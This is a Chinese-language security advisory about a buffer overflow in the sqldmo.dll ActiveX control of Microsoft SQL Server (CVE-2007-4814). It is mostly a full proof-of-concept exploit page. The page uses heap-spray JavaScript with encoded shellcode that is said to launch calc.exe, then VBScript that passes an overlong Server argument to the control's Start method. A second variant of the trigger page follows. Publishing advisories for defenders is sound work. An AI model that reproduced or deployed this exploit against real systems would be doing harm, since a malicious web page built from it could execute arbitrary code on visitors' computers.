安全研究
安全漏洞
Microsoft SQL Server sqldmo.dll ActiveX控件缓冲区溢出漏洞
发布日期：2007-09-09
更新日期：2007-09-13
受影响系统：
Microsoft SQL Server 2005 SP2描述：
BUGTRAQ ID: 25594
CVE(CAN) ID: CVE-2007-4814
Microsoft SQL Server是一款流行的SQL数据库系统。
Microsoft SQL Server分布式管理对象OLE DLL（sqldmo.dll）中存在缓冲区溢出漏洞，远程攻击得可能利用此漏洞控制用户系统。
如果用户受骗访问了恶意网页并向该控件的Start方式传送了超长字符的话，就可能触发这个溢出，导致执行任意指令。
<*来源：rgod （rgod@autistici.org）
链接：http://www.milw0rm.com/exploits/4379
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>
<SCRIPT language="javascript">
// Heap Spray
// execute "calc.exe"
shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<501;i++) memory[i] = block + shellcode;
</SCRIPT>
<script language='vbscript'>
targetFile = "C:\Programmi\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
prototype = "Sub Start ( ByVal StartMode As Boolean , [ ByVal Server As Variant ] , [ ByVal Login As Variant ] , [ ByVal Password As Variant ] )"
memberName = "Start"
progid = "SQLDMO.SQLServer"
argCount = 4
myseh = unescape("%u0D0D%u0D0D") // heap spray range - possible change
StartMode =True
Server ="http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\DDDD\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaaaa" + myseh + "Dmmm" + edx + "nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\DDDD\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\"
Login ="aaaaaaaa"
Password ="bbbbbbbb"
SQLServer.Start StartMode ,Server ,Login ,Password
</script>
</html>
<html>
<object classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5' id='SQLServer' /></object>
<script language='vbscript'>
targetFile = "C:\Programmi\Microsoft SQL Server\80\Tools\Binn\sqldmo.dll"
prototype = "Sub Start ( ByVal StartMode As Boolean , [ ByVal Server As Variant ] , [ ByVal Login As Variant ] , [ ByVal Password As Variant ] )"
memberName = "Start"
progid = "SQLDMO.SQLServer"
argCount = 4
'edx = ecx
edx ="bb"
seh ="aa"
StartMode =True
Server ="http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\CCCC\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaa" + seh + "CCDmmm" + edx + "nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\CCCC\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\"
Login ="aaaaaaaa"
Password ="bbbbbbbb"
SQLServer.Start StartMode ,Server ,Login ,Password
</script>
</html>
建议：
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/technet/security/
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